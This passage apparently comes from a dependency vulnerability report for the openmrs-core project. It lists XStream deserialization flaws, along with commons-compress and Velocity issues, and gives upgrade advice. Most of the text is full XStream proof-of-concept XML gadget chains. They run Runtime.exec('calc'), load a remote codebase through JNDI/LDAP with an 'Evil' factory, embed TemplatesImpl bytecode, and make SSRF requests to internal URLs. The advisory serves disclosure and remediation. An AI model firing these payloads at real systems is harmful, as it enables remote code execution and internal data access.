<hasLdapsScheme>true</hasLdapsScheme>
<netscapeSchemaBug>false</netscapeSchemaBug>
<referralHopLimit>0</referralHopLimit>
<batchSize>0</batchSize>
<deleteRDN>false</deleteRDN>
<typesOnly>false</typesOnly>
<derefAliases>0</derefAliases>
<addrEncodingSeparator/>
<connectTimeout>0</connectTimeout>
<readTimeout>0</readTimeout>
<waitForReply>false</waitForReply>
<replyQueueSize>0</replyQueueSize>
<useSsl>false</useSsl>
<useDefaultPortNumber>false</useDefaultPortNumber>
<parentIsLdapCtx>false</parentIsLdapCtx>
<hopCount>0</hopCount>
<unsolicited>false</unsolicited>
<sharable>false</sharable>
<enumCount>1</enumCount>
<closeRequested>false</closeRequested>
</homeCtx>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled>
<startName class='javax.naming.ldap.LdapName' serialization='custom'>
<javax.naming.ldap.LdapName>
<default/>
<string>uid=ysomap,ou=oa,dc=example,dc=com</string>
</javax.naming.ldap.LdapName>
</startName>
<searchArgs>
<name class='javax.naming.CompoundName' reference='../../listArg'/>
<filter>ysomap</filter>
<cons>
<searchScope>1</searchScope>
<timeLimit>0</timeLimit>
<derefLink>false</derefLink>
<returnObj>true</returnObj>
<countLimit>0</countLimit>
</cons>
<reqAttrs/>
</searchArgs>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
<attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javaNamingReference</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://127.0.0.1/</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>foo</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>EvilObj</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>ggg</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<arg>ldap://localhost:1099/CallRemoteMethod</arg>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsV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AAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
<homeCtx>
<hostname>233.233.233.233</hostname>
<port__number>2333</port__number>
<clnt class='com.sun.jndi.ldap.LdapClient'/>
</homeCtx>
<hasMoreCalled>true</hasMoreCalled>
<more>true</more>
<posn>0</posn>
<limit>1</limit>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
<attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javanamingreference</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://127.0.0.1:2333/</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>refClassName</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>Evil</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>calc</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
PoC
<map>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://localhost:8080/internal/</url>
<cs>GBK</cs>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://localhost:8080/internal/</url>
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>jdk.nashorn.internal.runtime.Source</class>
<name>readFully</name>
<parameter-types>
<class>java.net.URL</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<url>http://localhost:8080/internal/</url>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: org.apache.commons:commons-compress
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:mysql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.testcontainers:mysql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:postgresql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.testcontainers:postgresql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:mysql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.testcontainers:postgresql@1.19.7 › org.testcontainers:jdbc@1.19.7 › org.testcontainers:database-commons@1.19.7 › org.testcontainers:testcontainers@1.19.7 › org.apache.commons:commons-compress@1.24.0
Overview
org.apache.commons:commons-compress is an API for working with compression and archive formats.
Affected versions of this package are vulnerable to Infinite loop due to the improper handling of certain inputs during the parsing of dump files. An attacker can cause the application to enter an infinite loop by supplying crafted inputs.
Remediation
Upgrade org.apache.commons:commons-compress
to version 1.26.0 or higher.
References
high severity
- Vulnerable module: org.apache.velocity:velocity
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.apache.velocity:velocity@1.7
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.apache.velocity:velocity@1.7
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.apache.velocity:velocity-tools@2.0.1-atlassian-2 › org.apache.velocity:velocity@1.7
Overview
org.apache.velocity:velocity is a None
Affected versions of this package are vulnerable to Arbitrary Code Execution. An attacker that is able to modify Velocity templates may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running the Servlet container. This applies to applications that allow untrusted users to upload/modify velocity templates running Apache Velocity Engine.
Note
Users of org.apache.velocity:velocity
should update to org.apache.velocity:velocity-engine-core
